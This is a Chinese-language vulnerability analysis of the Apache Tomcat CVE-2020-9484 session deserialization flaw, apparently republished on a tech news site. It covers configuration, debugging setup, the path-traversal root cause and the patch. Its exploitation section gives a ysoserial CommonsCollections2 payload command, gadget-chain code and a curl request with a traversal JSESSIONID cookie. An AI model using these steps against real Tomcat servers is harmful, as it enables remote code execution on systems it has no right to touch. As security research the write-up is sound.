CVE-2020-9484 tomcat session反序列化漏洞分析
本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况,以及分析ysoserial反序列化链。
0x01 漏洞简介
Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻:
tomcat必须启用session持久化功能FileStore
tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
在服务器上存在已知路径文件内容可控
0x02 影响范围
Apache Tomcat 10.x < 10.0.0-M5 Apache Tomcat 9.x < 9.0.35 Apache Tomcat 8.x < 8.5.55 Apache Tomcat 7.x < 7.0.104
0x03 漏洞依赖条件
从官网下载tomcat 8.5.30
0x1 配置session持久化
conf/context.xml
<Manager className="org.apache.catalina.session.PersistentManager" debug="0" saveOnRestart="false" maxActiveSession="-1" minIdleSwap="-1" maxIdleSwap="-1" maxIdleBackup="-1"> <Store className="org.apache.catalina.session.FileStore" directory="./session" /> </Manager>
0x2 部署Gadgets jar包
下载commons-collections4-4.0.jar 并放在tomcat lib/目录下
0x04 多种 Tomcat 调试方法
0x1 本地调试
利用intellij idea 进行本地调试,创建项目、添加tomcat服务、添加tomcat源码包、配置项目lib库文件
Step1 创建项目
创建web Application项目
Step2 添加tomcat服务
选择configurations 配置tomcat 服务信息如下图所示
选择tomcat local ,tomcat 路径、配置端口等
Step3 添加tomcat源码
在intellij idea中添加tomcat 源码
Step4 配置项目lib库文件
为了使得代码能够索引方便调试,将tomcat 相关jar以及源码设成为library,如下图所示
0x2 远程调试
利用intellij idea 进行远程调试,修改默认启动脚本、添加remote调试配置
0x1 修改启动脚本
修改catalina.bat添加debug配置,调试端口为 5005,这是要检验端口有没有被防火墙禁掉
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"
查看端口是否开放
╰─➤ lsof -i:5005 1 ↵ COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME java 65934 xx 6u IPv4 0x66cb19ff98f7365b 0t0 TCP localhost:avt-profile-2 (LISTEN)
0x2 打开项目
直接打开tomcat 8.5.30 源代码
0x3 配置debug属性
在intellij idea中配置debug ip及port
0x05 漏洞原理及触发分析
当使用tomcat时,如果使用了tomcat提供的session持久化功能,就会在一次会话中尝试读取session文件中的内容,并进行反序列化。
具体逻辑如下:
0x1 路径拼接
如果打开了session 持久化 那么tomcat将会把session 的名称作为文件名并进行读取。
java 路径 org.apache.catalina.session.FileStore:
在file函数中直接将id作为文件名进行拼接,这里可以进行路径穿越到根目录,如下图所示:
0x2 反序列化
Tomcat拼接过路径之后把读取的文件内容带入反序列化函数,如果此时存在文件上传漏洞,就可以达到反序列化RCE的效果。
0x06 漏洞利用
0x1 生成payload
通过Ysoserial 生成反序列化文件,生成方式和原理如下,生成弹出计算器的CommonsCollections2 反序列化payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session
生成payload的关键代码
@Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({"frohoff"}) public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public CommonsCollections2() { } public Queue<Object> getObject(String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); PriorityQueue<Object> queue = new PriorityQueue(2, new TransformingComparator(transformer)); queue.add(1); queue.add(1); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue")); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
完整漏洞利用链
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
具体关于利用链相关可参考 https://xz.aliyun.com/t/1756
0x2 触发
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'
通过错误回显也可看出调用栈
0x07 漏洞补丁
从github tomcat 8.5.55 可以看出漏洞修补在文件判断上,目前没有找到绕过的姿势
0x08 参考链接
https://www.secpulse.com/archives/133378.html
https://c0okb.github.io/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0
https://xz.aliyun.com/t/1756
实验推荐:Tomcat AJP协议漏洞
(Apache Tomcat服务器存在文件读取漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp /ROOT目录下的任意文件,如:webapp 配置文件或源代码等)
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
无缝连接 dubbo-go 与 gRPC
最近我们dubbogo社区里面,呼声很大的一个feature就是对grpc的支持。在某位大佬的不懈努力之下,终于弄出来了。 今天我就给大家分析一下大佬是怎么连接dubbogo和grpc。 grpc 先来简单介绍一下grpc。它是google推出来的一个RPC框架。grpc是通过IDL(Interface Definition Language)——接口定义语言——编译成不同语言的客户端来实现的。可以说是RPC理论的一个非常非常标准的实现。 因而grpc天然就支持多语言。这几年,它几乎成为了跨语言RPC框架的标准实现方式了,很多优秀的rpc框架,如Spring Cloud和dubbo,都支持grpc。 server端 在go里面,server端的用法是: 它的关键部分是:s := grpc.NewServer()和pb.RegisterGreeterServer(s, &server{})两个步骤。第一个步骤很容易,唯独第二个步骤RegisterGreeterServer有点麻烦。为什么呢? 因为pb.RegisterGreeterServer(s, &s...
- 下一篇
看了很多文章,就这篇说明白了什么是接口测试(含视频教程)
接口(API)是一个简称,全名叫应用程序编程接口(Application Programming Interface),是一些预先定义的函数。目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。 工作中的接口如打电话的按键,电梯中的楼层按键,开车时脚踩油门,接口就是一个位于复杂系统之上并且能简化你的任务,它就像一个中间人让你不需要了解详细的所有细节,我们今天要讲的Web API就是这么一类东西。 例如百度搜索,它提供了搜索接口,简化了你的搜索任务 越底层发现bug,它的修复成本是越低的,接口属于金字塔模型 的中间层,属于收益产出比最高的 金字塔模型 前端随便变,接口测好了,后端不用变 检查系统的安全性,稳定性 系统复杂度上升,传统测试方法成本加大,效率降低,接口可以 解决这个问题 前后端框架分离,从安全层面说 只依赖前端进行验证已经不能满足安全的需求,因为绕过前 端太容易,要对接口做控制,做相应的校验 前后端传输,日志打印等信息是否加密传输也是需要验证的,特别是密码,身份证,银行卡信息等。 接口测试的原理是什么呢? 测试人员可...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Windows10,CentOS7,CentOS8安装Nodejs环境
- Docker安装Oracle12C,快速搭建Oracle学习环境
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS8编译安装MySQL8.0.19
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS8安装Docker,最新的服务器搭配容器使用
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Docker使用Oracle官方镜像安装(12C,18C,19C)